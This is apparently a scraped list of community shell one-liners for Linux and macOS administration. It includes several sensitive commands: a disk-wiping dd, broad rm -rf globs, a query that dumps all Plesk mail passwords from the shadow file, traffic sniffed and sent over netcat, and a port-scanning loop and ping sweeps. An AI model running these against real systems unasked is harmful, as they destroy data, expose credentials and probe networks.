>> echo a,b,c | sed -e s/,/\',\'/g -e s/^/\(\'/ -e s/$/\'\)/
* Remove all files but one starting with a letter(s)
>> rm -rf [a-bd-zA-Z0-9]* c[b-zA-Z0-9]*
* Setting reserved blocks percentage to 1%
>> sudo tune2fs -m 1 /dev/sda4
* find only current directory (universal)
>> find . \( ! -name . -prune \) \( -type f -o -type l \)
* Ultimate current directory usage command
>> find . -maxdepth 1 ! -name '.' -execdir du -0 -s {} + | sort -znr | gawk 'BEGIN{ORS=RS="\0";} {sub($1 "\t", ""); print $0;}' | xargs -0 du -hs
* Output files without comments or empty lines
>> function catv { egrep -v "^$|^#" ${*} ; }
* List hostnames of all IPs
>> for IP in $(/sbin/ifconfig | fgrep addr: | sed 's/.*addr:\([[0-9.]*\) .*/\1/') ; do host $IP | awk '{print $5}'; done
* A DESTRUCTIVE command to render a drive unbootable
>> dd if=/dev/zero of=/dev/fd0 bs=512 count=1
* Ripping VCD in Linux
>> cdrdao read-cd --device ATA:1,1,0 --driver generic-mmc-raw --read-raw image.toc
* create date-stamped tar archive of files in a directory tree (with subfolders)
>> tar czf /path/archive_of_foo.`date -I`.tgz /path/foo
* Creae a tar file for backup info
>> tar --create --file /path/$HOSTNAME-my_name_file-$(date -I).tar.gz --atime-preserve -p -P --same-owner -z /path/
* Force logout after 24 hours idle
>> fuser -k `who -u | awk '$6 == "old" { print "/dev/"$2'}`
* Find all PowerPC applications on OS X
>> system_profiler SPApplicationsDataType | perl -nl -e '@al=<>; $c=@al; while($j<$c){ $apps[$i].=$al[$j]; $i++ if ($al[$j] ) =~ /^\s\s\s\s\S.*:$/; $j++} while($k<$i){ $_=$apps[$k++]; if (/Kind: PowerPC/s) {print;}}'
* List out classes in of all htmls in directory
>> find . -name '*.html' -exec 'sed' 's/.*class="\([^"]*\?\)".*/\1/ip;d' '{}' ';' |sort -su
* Ultimate current directory usage command
>> find . -maxdepth 1 -type d|xargs du -a --max-depth=0|sort -rn|cut -d/ -f2|sed '1d'|while read i;do echo "$(du -h --max-depth=0 "$i")/";done;find . -maxdepth 1 -type f|xargs du -a|sort -rn|cut -d/ -f2|sed '$d'|while read i;do du -h "$i";done
* bash function to check for something every 5 seconds
>> function checkfor () { while :; do $*; sleep 5; done; }
* Copy a file structure without files
>> find * -type d -exec mkdir /where/you/wantem/\{\} \;
* Efficiently print a line deep in a huge log file
>> sed '1000000!d;q' < massive-log-file.log
* Harder, Faster, Stronger SSH clients
>> ssh -4 -C -c blowfish-cbc
* Duplicate several drives concurrently
>> dd if=/dev/sda | tee >(dd of=/dev/sdb) | dd of=/dev/sdc
* backup all your commandlinefu.com favourites to a plaintext file
>> clfavs(){ URL="http://www.commandlinefu.com";wget -O - --save-cookies c --post-data "username=$1&password=$2&submit=Let+me+in" $URL/users/signin;for i in `seq 0 25 $3`;do wget -O - --load-cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;}
* Cleanup firefox's database.
>> find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;
* Terminal - Show directories in the PATH, one per line with sed and
>> tr : '\n' <<<$PATH
* get all pdf and zips from a website using wget
>> wget --reject html,htm --accept pdf,zip -rl1 url
* Release memory used by the Linux kernel on caches
>> free && sync && echo 3 > /proc/sys/vm/drop_caches && free
* find and delete empty dirs, start in current working dir
>> find . -empty -type d -exec rmdir {} +
* Triple monitoring in screen
>> tmpfile=$(mktemp) && echo -e 'startup_message off\nscreen -t top htop\nsplit\nfocus\nscreen -t nethogs nethogs wlan0\nsplit\nfocus\nscreen -t iotop iotop' > $tmpfile && sudo screen -c $tmpfile
* Show me a histogram of the busiest minutes in a log file:
>> cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk '{printf("\n%s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}'
* Print a great grey scale demo !
>> yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
* DELETE all those duplicate files but one based on md5 hash
>> find . -type f -print0|xargs -0 md5sum|sort|perl -ne 'chomp;$ph=$h;($h,$f)=split(/\s+/,$_,2);print "$f"."\x00" if ($h eq $ph)'|xargs -0 rm -v --
* coloured tail
>> tail -f FILE | perl -pe 's/KEYWORD/\e[1;31;43m$&\e[0m/g'
* Display current bandwidth statistics
>> ifstat -nt
* restoring some data from a corrupted text file
>> ( cat badfile.log ; tac badfile.log | tac ) > goodfile.log
* How to run X without any graphics hardware
>> startx -- `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc
* Run a bash script in debug mode, show output and save it on a file
>> bash -x test.sh 2>&1 | tee out.test
* Add user to group on OS X 10.5
>> sudo dscl localhost -append /Local/Default/Groups/admin GroupMembership username
* to see about php configure
>> $php_dir/bin/php -i | grep configure
* Terminal - Show directories in the PATH, one per line with sed and
>> sed 's/:/\n/g' <<<$PATH
* Download entire commandlinefu archive to single file
>> for x in `seq 0 25 $(curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1)`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$ x" ; done > a.txt
* Display a block of text with vim with offset, like with AWK
>> vim -e -s -c 'g/start_pattern/+1,/stop_pattern/-1 p' -cq file.txt
* Remotely sniff traffic and pass to snort
>> sniff_host: tcpdump -nn -i eth1 -w - | nc 192.168.0.2 666
* Verbosely delete files matching specific name pattern, older than
>> rm -vf /backup/directory/**/FILENAME_*(m+15)
* power off system in X minutes
>> shutdown -h 60
* Search for matches each at start of line with egrep
>> egrep '^(January|April|May)' text.log
* Copy via tar pipe while preserving file permissions (run this
>> tar -C /oldirectory -cvpf - . | tar -C /newdirector -xvf -
* watch iptables counters
>> watch --interval 0 'iptables -nvL | grep -v "0 0"'
* Remove empty directories
>> rmdir **/*(/^F)
* Ping sweep without NMAP
>> for i in `seq 1 255`; do ping -c 1 10.10.10.$i | tr \\n ' ' | awk '/1 received/ {print $2}'; done
* follow the content of all files in a directory
>> find dir/ -type f | xargs tail -fqn0
* View Processeses like a fu, fu
>> pstree -p
* Not a kismet replacement...
>> watch -n .5 "iwlist wlan0 scan"
* clear the cache from memory
>> sync; echo 3 > /proc/sys/vm/drop_caches
* Show changed files, ignoring permission, date and whitespace
>> git diff --numstat -w --no-abbrev | perl -a -ne '$F[0] != 0 && $F[1] !=0 && print $F[2] . "\n";'
* Scrape commands from commandline fu's 1st page
>> curl -s http://www.commandlinefu.com/commands/browse|egrep '("Fin.*and"|<div class="command">.*</div>)'|sed 's/<[^<]*>//g'|ruby -rubygems -pe 'require "cgi"; $_=sprintf("\n\n%-100s\n\t#%-20s",CGI.unescapeHTML($_).chomp.strip, gets.lstrip) if $.%2'
* The command used by applications in OS X to determine whether a
>> plutil -lint plist-file
* Resolve a list of domain names to IP addresses
>> awk < file.name '{ system("resolveip -s " $1) }'
* Unarchive entire folder
>> for f in *;do case "$(echo $f|sed "s/.*\.\([a-z\.]*\)/\1/g")" in zip)unzip -qqo $f&&rm $f;;tar.gz|tar.bz2)tar xf $f&&rm $f;;rar)unrar e -o+ -r -y $f&&rm $f;;7z)7z e -qqo $f;;esac;done
* Find out when your billion-second anniversary is (was).
>> date -j -v +1000000000S -f %m%d%Y mmddYYYY
* Find out when your billion-second anniversary is (was). (on OS X)
>> date -j -v +1000000000S -f %m%d%Y mmddyyyy
* Find out when your billion-second anniversary is (was).
>> date -d12/31/1970+1000000000sec
* Shrink more than one blank lines to one in VIM.
>> :%v/./,/./-j
* Have netcat listening on your ports and use telnet to test
>> SERVER: nc -l p 666 CLIENT: telnet -l -p 666
* return external ip
>> host -t a dartsclink.com | sed 's/.*has address //'
* Searches $PATH for files using grep
>> IFS=:; find $PATH | grep pattern
* Find
>> xwininfo
* open in textmate sidebar files (recursively) with names matching
>> mate - `find * -type f -regex 'REGEX_A' | grep -v -E 'REGEX_B'`
* View a colorful logfile using less
>> < /var/log/syslog ccze -A | less -R
* Generate random IP addresses
>> nmap -n -iR 0 -sL | cut -d" " -f 2
* Get the size of all the directories in current directory
>> du -hd 1
* Convert every eps in a directory to pdf
>> for f in *.eps;do ps2pdf -dEPSCrop $f `basename $f .eps`.pdf; done
* Remove newlines from output
>> awk /./ filename
* Remove newlines from output
>> cat filename | grep .
* A fun thing to do with ram is actually open it up and take a peek.
>> strings /dev/mem|less
* complete extraction of a debian-package
>> dpkg-deb -x $debfile $extractdir; dpkg-deb -e $debfile $extractdir/DEBIAN;
* Get the size of all the directories in current directory
>> sudo du -sh $(ls -d */) 2> /dev/null
* Get the ip registered to a domain on OpenWRT
>> nslookup commandlinefu.com|sed 's/[^0-9. ]//g'|tail -n 1|awk -F " " '{print $2}'
* Test http request every second, fancy display.
>> watch -n 1 nc localhost 80 '<<EOF GET / HTTP/1.1 Host: tux-ninja Connection: Close EOF'
* Display the definition of a shell function
>> typeset -f <function-name>
* tar copy
>> tar cf - dir_to_cp/ | (cd path_to_put/ && tar xvf -)
* Nicely display permissions in octal format with filename
>> stat -f '%Sp %p %N' * | rev | sed -E 's/^([^[:space:]]+)[[:space:]]([[:digit:]]{4})[^[:space:]]*[[:space:]]( [^[:space:]]+)/\1 \2 \3/' | rev
* Shows how many percents of all avaliable packages are installed in
>> echo $((`eix --only-names -I | wc -l` * 100 / `eix --only-names | wc -l`))%
* Installing debian on fedora (chrooted)
>> debootstrap --arch i386 lenny /opt/debian ftp://debian.das.ufsc.br/pub/debian/
* Updating to Fedora 11
>> yum clean all ; rpm -Uvh http://download.fedora.redhat.com/pub/fedora/linux/releases/11/Fedora/i 386/os/Packages/fedora-release-11-1.noarch.rpm ; yum -y upgrade ; reboot
* Which files/dirs waste my disk space
>> du -aB1m|awk '$1 >= 100'
* Query ip pools based on successive netnames via whois
>> net=DTAG-DIAL ; for (( i=1; i<30; i++ )); do whois -h whois.ripe.net $net$i | grep '^inetnum:' | sed "s;^.*:;$net$i;" ; done
* Get Futurama quotations from slashdot.org servers
>> curl -sI http://slashdot.org/ | sed -nr 's/X-(Bender|Fry)(.*)/\1\2/p'
* Get all IPs via ifconfig
>> ifconfig | awk '/ddr:[0-9]/ {sub(/addr:/, ""); print $2}'
* Make a statistic about the lines of code
>> find . -type f -name "*.c" -exec cat {} \; | wc -l
* txt2html
>> recode ..HTML < file.txt > file.html
* List all installed Debian packages
>> dpkg --get-selections | grep -v deinstall | cut -f 1
* Tail the most recently modified file
>> ls -t1 | head -n1 | xargs tail -f
* Join a folder full of split files
>> for file in *.001; do NAME=`echo $file | cut -d. -f1,2`; cat "$NAME."[0-9][0-9][0-9] > "$NAME"; done
* Combine two mp3's or more into 1 long mp3
>> cat 1.mp3 2.mp3 > combined.mp3
* Get the SUM of visual blocked digits in vim
>> vmap <c-a> y:$<CR>o<Esc>map<Esc>:'a,$!awk '{sum+=$0}END{print "SUM:" sum}'<CR>dd'>p
* Recursive replace of directory and file names in the current
>> for i in `find -name '*oldname*'`; do "mv $i ${i/oldname/newname/}"; done
* Recursive replace of directory and file names in the current
>> find . *oldname* | grep oldname | perl -p -e 's/^(.*)(oldname)(.*$)/mv $1$2$3 $1newname$3/' | sh
* Get all IPs via ifconfig
>> ifconfig | awk -F':| +' '/ddr:/{print $4}'
* Output a SSL certificate start or end date
>> date --date="$(openssl x509 -in xxxxxx.crt -noout -startdate | cut -d= -f 2)" --iso-8601
* Efficient count files in directory (no recursion)
>> perl -e 'if(opendir D,"."){@a=readdir D;print $#a-1,"\n"}'
* get events from google calendar for a given dates range
>> wget -q -O - 'URL/full?orderby=starttime&singleevents=true&start-min=2009-06-01&star t-max=2009-07-31' | perl -lane '@m=$_=~m/<title type=.text.>(.+?)</g;@a=$_=~m/startTime=.(2009.+?)T/g;shift @m;for ($i=0;$i<@m;$i++){ print $m[$i].",".$a[$i];}';
* get delicious bookmarks on your shell (text version :-))
>> curl -u 'username' https://api.del.icio.us/v1/posts/all | sed 's/^.*href=//g;s/>.*$//g;s/"//g' | awk '{print $1}' | grep 'http'
* search string in _all_ revisions
>> for i in `git log --all --oneline --format=%h`; do git grep SOME_STRING $i; done
* Read just the IP address of a device
>> /sbin/ifconfig | awk -F'[ :]+' '/inet addr/{print $4}'
* Add temporary entry to authorized_keys
>> Keys=$HOME/.ssh/authorized_keys;Back=$Keys.tmp.bak;Time=${1:-15};cp $Keys $Back;cat /dev/stdin >>$Keys;echo mv $Back $Keys|at now+${Time}minutes;
* A command's package details
>> dpkg -S `which nm` | cut -d':' -f1 | (read PACKAGE; echo "[${PACKAGE}]"; dpkg -s "${PACKAGE}"; dpkg -L "${PACKAGE}") | less
* Test your total disk IO capacity, regardless of caching, to find
>> time (dd if=/dev/zero of=blah.out bs=256M count=1 ; sync )
* git remove files which have been deleted
>> git ls-files -z --deleted | xargs -0 git rm
* Find files with lines that do not match a pattern
>> fmiss() { grep -RL "$*" * }
* Copy 3 files from 3 different servers and adds server name tag to
>> for i in `seq 1 3`; do scp finku@server$i:file.txt server$i-file.txt; done
* extract all tgz in current dir
>> ls *tgz | xargs -n1 tar xzf
* Search commandlinefu from the command line
>> (curl -d q=grep http://www.commandlinefu.com/search/autocomplete) | egrep 'autocomplete|votes|destination' | perl -pi -e 's/a style="display:none" class="destination" href="//g;s/<[^>]*>//g;s/">$/\n\n/g;s/^ +//g;s/^\//http:\/\/commandlinefu.com\//g'
* Check if you need to run LaTeX to update the TOC
>> cp texfile.toc texfile.toc.bak; latex texfile.tex; cmp -s texfile.toc texfile.toc.bak; if [ $? -ne 0 ]; then latex texfile.tex; fi
* clone a hard drive to a remote directory via ssh tunnel, and
>> # dd if=/dev/sda | gzip -c | ssh user@ip 'dd of=/mnt/backups/sda.dd'
* Solaris - check ports/sockets which process has opened
>> /usr/proc/bin/pfiles $PID | egrep "sockname|port"
* Access partitions inside a LVM volume
>> kpartx -a /dev/mapper/space-foobar
* Log the current memory statistics frequently to syslog
>> while true; do { $(which logger) -p local4.notice `free -m | grep Mem`; sleep 60; } done &
* Record camera's output to a avi file
>> mencoder -tv device=/dev/video1 tv:// -ovc copy -o video.avi
* list all crontabs for users
>> cut -d: -f1 /etc/passwd | grep -vE "#" | xargs -i{} crontab -u {} -l
* Find Files That Exceed a Specified Size Limit
>> find directory -size +nnn
* get newest jpg picture in a folder
>> cp `ls -x1tr *.jpg | tail -n 1` newest.jpg
* Use QuickLook from the command line without verbose output
>> qlook() { qlmanage -p "$@" >& /dev/null & }
* Skip to next selection in playlist
>> killall -2 mpg321
* Show all usernames and passwords for Plesk email addresses
>> mysql -uadmin -p` cat /etc/psa/.psa.shadow` -Dpsa -e"select mail_name,name,password from mail left join domains on mail.dom_id = domains.id inner join accounts where mail.account_id = accounts.id;"
* The Chronic: run a command every N seconds in the background
>> chronic () { t=$1; shift; while true; do $@; sleep $t; done & }
* eDirectory LDAP Search for Statistics
>> ldapsearch -h ldapserver.willeke.com -p389 -b "" -s base -D cn=admin,ou=administration,dc=willeke,dc=com -w secretpwd "(objectclass=*)" chainings removeEntryOps referralsReturned listOps modifyRDNOps repUpdatesIn repUpdatesOut strongAuthBinds addEntryOps
* Pipe the result of a command to IRC (channel or query)
>> function my_irc { tmp=`mktemp`; cat > $tmp; { echo -e "USER $username x x :$ircname\nNICK $nick\nJOIN $target"; while read line; do echo -e "PRIVMSG $target :$line"; done < $tmp; } | nc $server > /dev/null ; rm $tmp; }
* Phrack 66 is out, but the .tar.gz is not there yet on
>> mkdir phrack66; (cd phrack66; for n in {1..17} ; do echo "http://www.phrack.org/issues.html?issue=66&id=$n&mode=txt" ; done | xargs wget)
* Recursively create a TAGS file for an entire source tree. TAGS
>> ctags -R
* rsync over ssh via non-default ssh port
>> rsync -e 'ssh -p PORT' user@host:SRC DEST
* Configuring proxy client on terminal
>> export http_proxy=<user>:<pass>@<server>:<port> ftp_proxy=<user>:<pass>@<server>:<port>
* Check wireless link quality with dialog box
>> while [ i != 0 ]; do sleep 1 | dialog --clear --gauge "Quality: " 0 0 $(cat /proc/net/wireless | grep $WIRELESSINTERFACE | awk '{print $3}' | tr -d "."); done
* change ownership en masse of files owned by a specific user,
>> find . -uid 0 -print0 | xargs -0 chown foo:foo
* Clear history
>> history -c
* Change timestamp on a file
>> touch -amct [[CC]YY]MMDDhhmm[.ss] FILE
* Show the last 20 sessions logged on the machine
>> last -n 20
* Show LAN IP with ip(8)
>> ip route show dev eth0 | awk '{print $7}'
* Unlock your KDE4 session remotely (for boxes locked by KDE lock
>> killall -s 9 krunner_lock
* Using scapy to get the IP of the iface used to contact local gw
>> python -c "import scapy.all; print [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]"
* Backup with SSH in a archive
>> ssh -i $PRIVATEKEY $HOST -C 'cd $SOURCE; tar -cz --numeric-owner .' | tee $DESTINATION/backup.tgz | tar -tz
* Listen to a file
>> while true; do cat /usr/src/linux/kernel/signal.c > /dev/dsp; done
* Updating the status on identi.ca using curl.
>> curl -u USER:PASS -d status="NEW STATUS" http://identi.ca/api/statuses/update.xml
* Copy data using gtar
>> gtar cpf - . | (cd /dest/directory; gtar xpf -)
* burn initial session on a growable DVD using growisofs
>> growisofs -Z /dev/dvd -J -r "directory name to burn on DVD"
* dump 1KB of data from ram to file
>> dd if=/dev/mem of=file.dump bs=1024 skip=0 count=1
* Change framebuffer font
>> setfont cybercafe
* Report information about executable launched on system
>> aureport -x
* Print summary of referers with X amount of occurances
>> awk -F\" '{print $4}' *.log | grep -v "eviljaymz\|\-" | sort | uniq -c | awk -F\ '{ if($1>500) print $1,$2;}' | sort -n
* cpu and memory usage top 10 under Linux
>> ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f%\t%.2f%\n",num[user], user, cpu[user], mem[user]) }'
* Convert from octal format to umask
>> perm=( 6 4 4 ) ; for elem in ${perm[@]}; do echo `expr 7 - $elem` ;
* mail with attachment
>> tar cvzf - data1 data2 | uuencode data.tar.gz | mail -s 'data' you@host.fr
* find/edit your forgotten buddy pounces for pidgin
>> vim ~/.purple/pounces.xml
* Display formatted routes
>> routel
* For Gentoo users : helping with USE / emerge
>> emerge -epv world | grep USE | cut -d '"' -f 2 | sed 's/ /\n/g' | sed '/[(,)]/d' | sed s/'*'//g | sort | uniq > use && grep ^- use | sed s/^-// | sed ':a;N;$!ba;s/\n/ /g' > notuse && sed -i /^-/d use && sed -i ':a;N;$!ba;s/\n/ /g' use
* Burn CD/DVD from an iso, eject disc when finished.
>> cdrecord dev=0,0,0 -v -eject yourimage.iso
* Add a line from 1 file after every line of another (shuffle files
>> sed '/^/R addfile' targetfile > savefile
* Find the modified time (mtime) for a file
>> date -r foo
* Jump to a song in your XMMS2 playlist, based on song title/artist
>> function jumpTo { xmms2 jump `xmms2 list | grep -i '$1' | head -n 1 | tail -n 1 | sed -re 's@.+\[(.+)/.+\] (.+)@\1@'`; }
* Use mtr to create a text file report
>> mtr --report --report-cycles 10 www.google.com > google_net_report.txt
* Get the current svn branch/tag (Good for PS1/PROMPT_COMMAND cases)
>> svn info | grep '^URL:' | egrep -o '(tags|branches)/[^/]+|trunk' | egrep -o '[^/]+$'
* Change the default editor for modifying the sudoers list.
>> sudo update-alternatives --config editor
* Simple word scramble
>> shuf -n1 /usr/share/dict/words | tee >(sed -e 's/./&\n/g' | shuf | tr -d '\n' | line) > /tmp/out
* Show all mergeinfo for a svn subtree
>> find . \( -type d -name .svn -prune \) -o -print | while read file ; do mergeinfo=`svn propget svn:mergeinfo $file` ; [ "$mergeinfo" != "" ] && echo -e "$file\n $mergeinfo\n" ; done
* SVN Command line branch merge
>> /usr/local/bin/svn merge -r {rev_num}:HEAD https://{host}/{project}/branches/{branch_name} .
* Propagate X session cookies on a different user and login as that
>> read -p 'Username: ' u;sudo -H -u $u xauth add $(xauth list|grep :$(echo ${DISPLAY: -4:2}));sudo su - $u
* Display only hosts up in network
>> nmap -sP your network/submask | awk "/^Host/"'{ print $2 }'
* Recursive Line Count
>> find ./ -not -type d | xargs wc -l | cut -c 1-8 | awk '{total += $1} END {print total}'
* sorting file contents into individual files with awk
>> awk '{print > $3".txt"}' FILENAME
* Copy files and directories from a remote machine to the local
>> ssh user@host "(cd /path/to/remote/top/dir ; tar cvf - ./*)" | tar xvf -
* Then end of the UNIX epoch
>> date -d @$(echo $((2 ** 31 - 1)))
* View an info page on a nice interface
>> yelp info:foo
* Flush DNS cache in MacOS 10.5
>> dscacheutil -flushcache
* list services running (as root)
>> service --status-all | grep running
* Watch your freebox flux, through a other internet connection (for
>> vlc -vvv http://mafreebox.freebox.fr/freeboxtv/playlist.m3u --sout
* Watch the National Debt clock
>> watch -n 10 "wget -q http://www.brillig.com/debt_clock -O - | grep debtiv.gif | sed -e 's/.*ALT=\"//' -e 's/\".*//' -e 's/ //g'"
* Use find to get around Argument list too long problem
>> find . -name 'junkfiles-*' -print0 | xargs -0 rm
* Easily run a program in the background without losing output
>> function fork () { tf=$(tempfile -d /tmp -p $1.);echo -n "$tf "; $@ &>$tf& }
* Remove apps with style: nuke it from orbit
>> function nuke() { if [ $(whoami) != "root" ] ; then for x in $@; do sudo apt-get autoremove --purge $x; done; else for x in $@; do apt-get autoremove --purge $x; done; fi }
* which procs have $PATH_REGEX open?
>> find /proc -regex '/proc/[0-9]+/smaps' -exec grep -l "$PATH_REGEX" {} \; | cut -d'/' -f2
* add static arp entry to default gateway, arp poison protection
>> arp -s $(route -n | awk '/^0.0.0.0/ {print $2}') \ $(arp -n | grep `route -n | awk '/^0.0.0.0/ {print $2}'`| awk '{print $3}')
* burn a isofile to cd or dvd
>> cdrecord -v dev=/dev/cdrom yourimage.iso
* keep an eye on system load changes
>> watch -n 7 -d 'uptime | sed s/.*users,//'
* Mount an smb share on linux
>> mount -t smbfs //$server/share /local/mount -o rw,username=$USER
* Display the standard deviation of a column of numbers with awk
>> awk '{sum+=$1; sumsq+=$1*$1} END {print sqrt(sumsq/NR - (sum/NR)**2)}' file.dat
* Averaging columns of numbers
>> awk '{sum1+=$1; sum2+=$2} END {print sum1/NR, sum2/NR}' file.dat
* Convert a mp3 file to m4a
>> mplayer -vo null -vc null -ao pcm:fast:file=file.wav file.mp3; faac -b 128 -c 44100 -w file.wav
* Creates a proxy based on tsocks.
>> alias tproxy='ssh -ND 8118 user@server&; export LD_PRELOAD="/usr/lib/libtsocks.so"'
* Delete empty, 24-hours-old directories recursively, without
>> find . -regex "[^.]*" -depth -empty -type d -mtime +1 -exec rmdir -v {} \;
* Download and extract a *tar.gz file with curl.
>> curl http://domain.com/file.tar.gz | tar zx
* Display duplicated lines in a file
>> cat file.txt | sort | uniq -dc
* Configure a serial line device so you can evaluate it with a
>> stty -F "/dev/ttyUSB0" 9600 ignbrk -brkint -icrnl -imaxbel -opost -onlcr -isig -icanon -iexten -echo -echoe -echok -echoctl -echoke time 5 min 1 line 0
* Quicker move to parent directory
>> alias ..='cd ..'
* Count number of bytes that are different between 2 binary files
>> cmp -l file1.bin file2.bin | wc -l
* Update your journal
>> vi ~/journal/$(date +%F)
* Doing some floating point calculations with rounding (e.g. at the
>> echo '123/7' |bc -l |xargs printf "%.3f\n"
* Send test prints to networked printer.
>> echo "test" | lp -d $PRINTER
* rsync + find
>> rsync -avz -e ssh --files-from=<(find -mtime +30 -mtime -60) source dest
* Use -t when using find and cp
>> find . -name "*.pdf" -print0 | xargs -0 cp -t downloads/
* Go to directory or creat it and go to
>> [[ -d dir ]] || mkdir dir ; cd dir
* Install the Debian-packaged version of a Perl module
>> function dpan () { PKG=`perl -e '$_=lc($ARGV[0]); s/::/-/g; print "lib$_-perl\n"' $1`; apt-get install $PKG; }
* print lib path of perl
>> perl -e 'print map { $_ . "\n" } @INC;'
* Create a random password encrypted with md5 with custom lenght
>> echo -n $mypass | md5sum | awk {'print $1'}
* Make ls output better visible on dark terminals in bash
>> unalias ls
* nohup that doesn't generate nohup.out
>> nohup <command> 2> /dev/null > /dev/null &
* Ping a range of addresses
>> nmap -sP -T Insane 192.168.1.1-254
* unrar all part1 files in a directory
>> ls -1 *.part1.rar | xargs -d '\n' -L 1 unrar e
* Rotate a video file by 90 degrees CW
>> mencoder -vf rotate=1 -ovc lavc -oac copy "$1" -o "$1"-rot.avi
* Connect to remote machine with other enconding charset
>> LC_ALL=fr_FR luit ssh root@remote_machine_ip
* Search for files in rpm repositorys. (Mandriva linux)
>> urpmf lib/blah
* Stream the latest offering from your fave netcasts/podcasts
>> vlc --one-instance --playlist-enqueue -q $(while read netcast; do wget -q $netcast -O - |grep enclosure | tr '\r' '\n' | tr \' \" | sed -n 's/.*url="\([^"]*\)".*/\1/p'|head -n1; done <netcast.txt)
* NICs, IPs, and Mac
>> ifconfig -a | nawk 'BEGIN {FS=" "}{RS="\n"}{ if($1~ /:/) {printf "%s ", $1}}{ if($1=="inet") {print " -- ",system("arp "$2)}}'|egrep -v "^[0-9]$"
* Help shell find freshly installed applications (re: PATH)
>> rehash
* replace a character/word/string in a file using vim
>> :%s/old/new/g
* Recurse through directories easily
>> find . -type f | while read file; do cp $file ${file}.bak; done
* Read almost everything (Changelog.gz, .tgz, .deb, .png, .pdf,
>> less -r <some file>
* pinky - user info
>> pinky -l <username>
* Know your distro
>> lsb-release -a
* easy C shell math calculators
>> alias calc 'echo "scale=4;\!*"|bc -l'; alias xcalc 'echo "\!*"|bc -l'
* Label EXT2/EXT3 File System
>> e2label /dev/vg0/lv0 MyFiles
* Mac OS X - List all of my machine's IP addresses
>> ifconfig | awk '/inet / {print $2}'
* disable caps lock
>> xmodmap -e "remove Lock = Caps_Lock"
* Show directories
>> ls -l | grep ^d
* Watch movies in your terminal
>> mplayer -vo caca MovieName.avi
* Scan a gz file for non-printable characters and display each line
>> zcat a_big_file.gz | sed -ne "$(zcat a_big_file.gz | tr -d "[:print:]" | cat -n | grep -vP "^ *\d+\t$" | cut -f 1 | sed -e "s/\([0-9]\+\)/\1=;\1p;/" | xargs)" | tr -c "[:print:]\n" "?"
* Get information about libraries currently installed on a system.
>> rpm -qa --qf '%{name}-%{version}-%{release}.%{arch}\n'|egrep 'compat|glibc|gcc|libst|binu'|sort
* mplayer -vo aa foo.mpg
>> Play "foo.mpg" in your terminal using ASCII characters
* Scans for open ports using telnet
>> HOST=127.0.0.1;for((port=1;port<=65535;++port)); do echo -en "$port ";if echo -en "open $HOST $port\nlogout\quit" | telnet 2>/dev/null | grep 'Connected to' > /dev/null; then echo -en "\n\nport $port/tcp is open\n\n";fi;done | grep open
* listen to an offensive fortune
>> fortune -o | espeak
* Show what PID is listening on port 80 on Linux
>> netstat -alnp | grep ::80
* Run a command if today is the last day of the month
>> if [[ `:$(cal);echo $_` == `date +%d` ]]; then ROTATE_MONTHLY_TABLES_SCRIPT;fi
* check the status of 'dd' in progress
>> ps auxww |grep " dd " |grep -v grep |awk '{print $2}' |while read pid; do kill -USR1 $pid; done
* Compare two CSV files, discarding any repeated lines
>> cat foo.csv bar.csv | sort -t "," -k 2 | uniq
* Simple way to envoke a secure vnc session through ssh enabled
>> vncviewer -via root@your.dyndns.com 192.168.1.1
* Display email addresses that have been sent to by a postfix
>> sed -n -e '/postfix\/smtp\[.*status=sent/s/^.*to=<\([^>]*\).*$/\1/p' /var/log/mail.log | sort -u
* read a file line by line and perform some operation on each line
>> while read line; do echo "$(date),$(hostname),$line"; done < somefile.txt
* Benchmark a hard drive
>> sudo hdparm -Tt /dev/sda
* get some information about the parent process from a given
>> ps -o ppid= <given pid> | xargs ps -p
* auto terminal title change
>> echo -ne "\033]0;${USER}@${HOSTNAME}: ${PWD}\007"
* Show a listing of open mailbox files (or whatever you want to
>> lsof | grep "/var/spool/mail/"
* watch youtube and other flash videos via mplayer (or whatever)
>> mplayer $(ls -t /tmp/flash*|head -1)
* apt-get via sudo
>> apt-get () { [ "$1" = source ] && (command apt-get "$@";true) || sudo apt-get "$@" }
* Simple example of the trap command
>> trap "echo \"$0 process $$ killed on $(date).\"; exit " HUP INT QUIT ABRT TERM STOP
* redirect stdin
>> < /path/to/file.txt grep foo
* clear current line
>> ctrl+u
* ls -hog is a more compact but informative file listing
>> ls -hog
* Transfer SSH public key to another machine in one step
>> ssh-keygen; ssh-copy-id user@host; ssh user@host
* Get all the keyboard shortcuts in screen
>> ^A ?
* Switch 2 characters on a command line.
>> ctrl-t
* Start a new command in a new screen window
>> alias s='screen -X screen'; s top; s vi; s man ls;
* live ssh network throughput test
>> yes | pv | ssh $host "cat > /dev/null"
* a trash function for bash
>> trash <file>
* make sure a script is run in a terminal.
>> [ -t 0 ] || exit 1
* Remove blank lines from a file using grep and save output to new
>> grep . filename > newfilename
* Identify long lines in a file
>> awk 'length>72' file
* Show directories in the PATH, one per line
>> echo "${PATH//:/$'\n'}"
* check open ports
>> lsof -Pni4 | grep LISTEN
* Convert "man page" to text file
>> man ls | col -b > ~/Desktop/man_ls.txt
* Find if the command has an alias
>> type -all command
* Share a 'screen'-session
>> screen -x
* Show all detected mountable Drives/Partitions/BlockDevices
>> hwinfo --block --short
* When feeling down, this command helps
>> sl
* Update Ogg Vorbis file comments
>> for f in *.ogg; do vorbiscomment -l "$f" | sed 's/peter gabriel/Peter
* Encode text in Base64 using Perl
>> perl -e 'use MIME::Base64; print encode_base64("encode me plz");'
* List empty any directories
>> ls -ld **/*(/^F)
* rsync over ssh
>> rsync -avz -e ssh username@hostname:/path/to/remote/dir/ /path/to/local/dir/
* Compress a file or directory keeping the owner and permissions
>> tar -jcvf /folder/file.tar.bz2 --same-owner --same-permissions /folder/
* A signal trap that logs when your script was killed and what other
